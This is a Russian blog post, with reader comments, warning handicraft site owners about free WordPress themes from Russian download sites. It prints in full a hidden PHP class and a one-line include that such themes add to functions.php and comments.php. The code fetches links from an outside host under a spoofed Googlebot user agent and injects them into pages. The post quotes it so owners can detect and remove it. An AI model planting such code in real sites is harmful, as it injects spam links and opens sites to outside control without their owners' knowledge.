Создаем рукодельный сайт: Чем опасны бесплатные шаблоны вордпресс?

создание сайта - чем опасны бесплатные шаблоны и темы

В предыдущей статье мы тезисно рассмотрели, как создать рукодельный сайт. Одним из важнейших шагов является выбор шаблона – то есть темы оформления сайта.

Еще раз о матчасти: поверх админки Вордпресс (WordPress), которую можно скачать на официальном сайте бесплатно в английской и русской версии, ставится одна из тем (она представляет собой набор файлов, заархивированных в формате .zip). Темы (шаблоны) можно менять, сколько угодно раз, но желательно на том этапе, пока сайт еще пустой, потому что от смены оформления многие важные делали могут поплыть, уехать и т.д. Словом, окончательный дизайн выбираем на начальном этапе. Когда все красиво – начинаем писать и заливать фото своих рукодельных шедевров.

Так вот, я хочу отметить важные детали, на которые стоит обратить внимание, выбирая вордпресс шаблон для рукодельного сайта или любого другого. Особенно, если вы хотите получить его бесплатно. Тут важно помнить поговорку про сыр и мышеловку.

Где взять шаблон вордпресс?

1. Заказать у дизайнера/вебмастера.

Он либо доработает имеющийся шаблон, либо напишет все с нуля, подогнав под вашу фантазию; вариант хорош, если вы собираетесь создавать серьезный проект, заботитесь об узнаваемости бренда и имеете достаточно денежки, чтобы оплатить эту услугу. Также важно заранее определиться, какой дизайн вы хотите, а не выносить разработчику впоследствии мозг, рассчитывая, что именно он предложит вам «тот самый» дизайн.

Если вебмастер порядочен и опытен, вы получите оригинальное оформление и удобный интерфейс. Лучше обращаться к человеку с репутацией и положительными отзывами, даже если его расценки высоки. Если кто-то малознакомый предлагает разработать вам сайт почти задаром, стоит насторожиться. Остерегайтесь любой «халявы» — ее нет. Вам могут даже на почту приходить спам-предложения: создам сайт, раскручу, бла-бла-бла, совсем недорого. Помните, профессионал никогда не бегает за клиентами, они сами выстраиваются в очередь. Если кто-то предлагает свои услуги дешево и назойливо – то это либо криворукий бездарь (что вряд ли), либо мошенник (что сейчас на каждом шагу).

2. Скачать шаблон вордпресс на сайте разработчиков.

Обычно компании (как правило, зарубежные, к ним как-то больше доверия, не хочу никого обидеть), которые продают шаблоны вордпресс, бесплатно предлагают пробную версию. Она прекрасно работает, правда внутри кода есть встроенные ссылки на их сайт. Это нестрашно и в большинстве случаев, повозившись, линки можно удалить. Даже если не удалось – не беда, их немного – одна – две, и они не вредоносные. Это как бы дань разработчику, наше спасибо ему. Мол, дизайн разработан Джоном Смиттом, например.

Если демо-версия понравилась – есть смысл купить такой же лицензионный шаблон. В этом случае вы получаете возможность задавать разработчику вопросы, если что-то перестанет работать, и рассчитывать на его помощь.
Минус таких тем для вордпресс в том, что они на английском языке. Но в большинстве есть файл для перевода на другие языки – повозившись один вечер, вы сможете перевести шаблон на русский. Для этого есть программа Poedit, которая работает, если автор шаблона положил в него специальный файл .ро. Если скачанная тема не рассчитана на перевод (файла нет), тогда нужно воспользоваться плагином CodeStyling Localization – он сам создаст файл .ро, а потом файл .mo – они оба отвечают за русификацию шаблона.

Как это работает – программка сканирует код, ищет все английские фразы в интерфейсе, например «Читать далее» или «Редактировать запись», и выдает их вам. В столбце напротив прописываете русский вариант (можно подойти творчески, необязательно дословно), сохраняете, и шаблон становится русифицированным (ну или на какой там вы язык переводите). Все инструкции легко найти в гугле по запросу «как перевести шаблон WordPress», «как пользоваться плагином CodeStyling Localization», «как пользоваться программой Poedit».

Есть еще один вариант для любителей мазохизма и адреналина. Вы можете залезть в код темы и собственноручно переписать там английский фразы на русский. Но случайно можете зацепить какой-нибудь элемент кода, и все ляжет. Мне удалось так перевести сайт на украинский – без плагина и программы, но вообще этот способ не рекомендуют использовать. Тем более, если вы скачали тему с сайта разработчика, и она предполагает, что со временем будут приходить апдейты на нее (обновления). Мне кажется, что русские букафки в коде помешают обновлению, но это исключительно мои дурные домыслы, не бейте тапками

3. Скачать шаблон вордпресс бесплатно на русском языке на одном из российских сайтов.

Категорически не рекомендую. Я тоже в свое время верила, что какой-то дядя Федя сидит, переводит шаблоны, потом их бесплатно выкладывает, чтоб люди радовались. Но такая утопия может жить только в голове бесконечно наивного человека, а мы с вами не такие, да?

Если вы загуглите «русские шаблоны вордпресс бесплатно», то вся выдача будет пестрить сайтами типа wp-templates точка ru и так далее.

Ребята не просто переводят шаблон (иногда они его и вовсе не переводят), а дописывают в код всякую вредоносную гадость.

Например, сайт wp-templates добавляет в файл functions.php класс Get_links:

class Get_links {

 

var $host = ‘wpconfig.net’;

var $path = ‘/system.php’;

var $_cache_lifetime    = 21600;

var $_socket_timeout    = 5;

 

function get_remote() {

$req_url = ‘http://’.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]);

$_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; «.$req_url.»)»;

 

$links_class = new Get_links();

$host = $links_class->host;

$path = $links_class->path;

$_socket_timeout = $links_class->_socket_timeout;

//$_user_agent = $links_class->_user_agent;

 

@ini_set(‘allow_url_fopen’,          1);

@ini_set(‘default_socket_timeout’,   $_socket_timeout);

@ini_set(‘user_agent’, $_user_agent);

 

if (function_exists(‘file_get_contents’)) {

$opts = array(

‘http’=>array(

‘method’=>»GET»,

‘header’=>»Referer: {$req_url}\r\n».

«User-Agent: {$_user_agent}\r\n»

)

);

$context = stream_context_create($opts);

 

$data = @file_get_contents(‘http://’ . $host . $path, false, $context);

preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/’, $data, $data);

$data = @$data[2];

return $data;

}

return ‘<!—link error—>’;

}

 

function return_links($lib_path) {

$links_class = new Get_links();

$file = ABSPATH.’wp-content/uploads/2011/’.md5($_SERVER[‘REQUEST_URI’]).’.jpg’;

$_cache_lifetime = $links_class->_cache_lifetime;

 

if (!file_exists($file))

{

@touch($file, time());

$data = $links_class->get_remote();

file_put_contents($file, $data);

return $data;

} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {

@touch($file, time());

$data = $links_class->get_remote();

file_put_contents($file, $data);

return $data;

} else {

$data = file_get_contents($file);

return $data;

}

}

}

 

А также в файл comments.php код:

 

<?php $lib_path = dirname(__FILE__).’/’; require_once(‘functions.php’); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

Если вы обнаружили в своем шаблоне эти строки, нужно сначала создать резервные копии данных файлов, затем открыть comments.php и удалить короткий код, а потом – убрать здоровенный код из functions.php. Если убрать только последний, пропадет правый сайбрар (боковая колонка). Но если убрать оба кода, все работает.

 Чем опасны бесплатные темы WordPress?

 Так чем опасен такой бесплатный шаблон вордпресс?

Предприимчивые ребята из wp-templates точка ru добавили этот вредоносный код для того, чтобы он вставлял ссылки сторонних сайтов, а они на этом имели денежку.

Если ваш сайт порядочный, то он будет ссылаться на минимум других ресурсов, зато на него будут ссылаться многие. Потому не стоит по доброте душевной оставлять линки на блоги своих подруг и любые понравившиеся сайты. Можно, конечно, сделать ссылки неидексируемыми (загуглите «как закрыть исходящие ссылки»), но лучше не оставлять их вовсе.

Но из-за упомянутого выше вредоносного кода оказывается, что ваш сайт ссылается на десятки левых ресурсов о похудении, садоводстве и кованных лавочках, о которых вы никогда и не слышали. Авторы этой бяки получают денежку за размещение ссылок, поисковики скептическим смотрят на ваш сайт, считая его помойкой, а вы ни сном, ни духом. Это – минимум ущерба. В худшем случае ваш сайт могут сломать, или поисковики его забанят.

Вот такой бесплатный сыр.

создание сайта - чем опасны бесплатные шаблоны и темы

Поэтому убедительно прошу, дорогие рукодельницы, скачивайте шаблоны с английских сайтов – разработчиков. Например, вот здесь flexithemes точка com.

Если вы уже пользуетесь темой вордпресс, скачанной с какого-нибудь российского сайта, загуглите «как очистить шаблон от скрытых ссылок», и найдете множество инструкций.

Если вы проверили сайт сервисом Linkpad (Соломоно), и он показал левые исходящие ссылки, которые лично вы не размещали у себя на сайте, то бегом чистить код. Если совсем истерика – придется обратиться к вебмастеру. Но я вроде справилась, тьфу-тьфу.

Периодически проверяйте количество исходящих ссылок при помощи онлайн-сервисов. Linkpad (Соломоно) обновляет базу очень редко, раз в несколько месяцев, но зато он показывает всю бяку. Другие сервисы деликатничают и могут левые ссылки не показать.

И, если вы почистили код, а ссылки все равно светятся, не падайте в обморок – нужно подождать, пока поисковики переиндексируют сайт и увидят, что линков больше нет. Это тоже может занять не один день и даже месяц.

Если возникли вопросы, с удовольствием отвечу, пишите в комменты или на почту (см. форму «Контакты» вверху сайта).

Всем вдохновения и побольше цветочностей! Feeling Good

Понравилась статья? Поделитесь с друзьями!

5 комментариев к записи “Создаем рукодельный сайт: Чем опасны бесплатные шаблоны вордпресс?”

  1. Анна Ряхова:

    Ого! вот значит откуда все подзатыльники)) А я как влезу в настройки сайдбара, так у меня он и вовсе пропадает..может это из-за сырка бесплатного. Буду разбираться!
    Спасибо за статью! Обязательно к неё вернусь, информация о программах перевода для меня была очень кстати.

  2. Софья:

    Я свою тему сначала в файлах переводила, но на неё приходят обновления постоянно, хоть и бесплатная. Обновлениям русские буквы не мешают, но они все испарятся после обновления и придётся снова все файлы перебирать и переводить.
    Скачала Поедит потом и сделала нормальный перевод. Дак пришло новое обновление именно на файл перевода, вот месяц висит уже, никак не обновлюсь, придётся снова всё переделывать.
    Вроде тему скачивала в официального WP. Ничего подозрительного в файлах не нашла. Спасибо за такую информацию — может пригодиться.

    • Metally:

      Софья, если с официального WP скачивали — это же чудесно:-) Я все больше склоняюсь к такому же варианту, скорей всего следующий сайт построю на тривиальной ТвентиТвелв или что-то вроде. Но по неопытности все ж гонятся за сложным дизайном, мудреными менюшками, а потом не знаешь, как страницу ускорить…И я свой шаблон изначально из такой помойки скачала, что сейчас ужас берет — чем вообще думала?
      На днях тоже столкнулась с невозможностью перевести шаблон программно — ни Поедит, ни спец. плагин не помогли, почему-то отказались работать с одной конкретной темой. Так что я тоже ручками… В целом, если обновление нечасто приходит — то так и быть, можно повторно перевести. У меня на это ушел всего один вечер.

  3. Эрвин:

    Мда.. Вот и я нахожусь в определенной прострации. Скачал тему бесплатную из TemplateMonster Russia, но после закачки забраковали,выдает — нет родительской темы,думаю вообще забить на нее .Там есть платные шаблоны,но дорого как по мне.С админкой доходит и до 2 тыс$. Кстати Даш,подскажи,сколько стоит нормальный шаблон для темы и источники , откуда скачать.А то уже уморило меня это возня с непонятными ощибками.

    • Дарья:

      Эрвин, я никогда не покупала темы, пока не приходилось. Сейчас из админки Вордпресса можно найти много разных тем, особенно крутые типа Nirvana, Parabola и др. от этого же разработчика. Они полностью настраиваемые: можно менять простым нажатием кнопочки ширину колонок, размер и шрифт текста, все цвета, фоны, отступы. Не надо возиться с CSS, все меняется автоматически. В этих темах уже есть всякие полезные инструменты: кнопка вверх, фавикон, кнопки соцсетей. В старых темах все это приходилось добавлять посредством плагинов, которые грузили сайт, не всегда хорошо работали да еще и ошибки валидности давали. Я заглядываюсь на эти темы, все никак не поставлю. Там много настроек, надо повозиться, но весь дизайн можно изменить на свой вкус. В футере там есть партнерская ссылка на разработчика, но если погуглить тщательно, то можно найти способ ее убрать.

Оставить комментарий

Яндекс.Метрика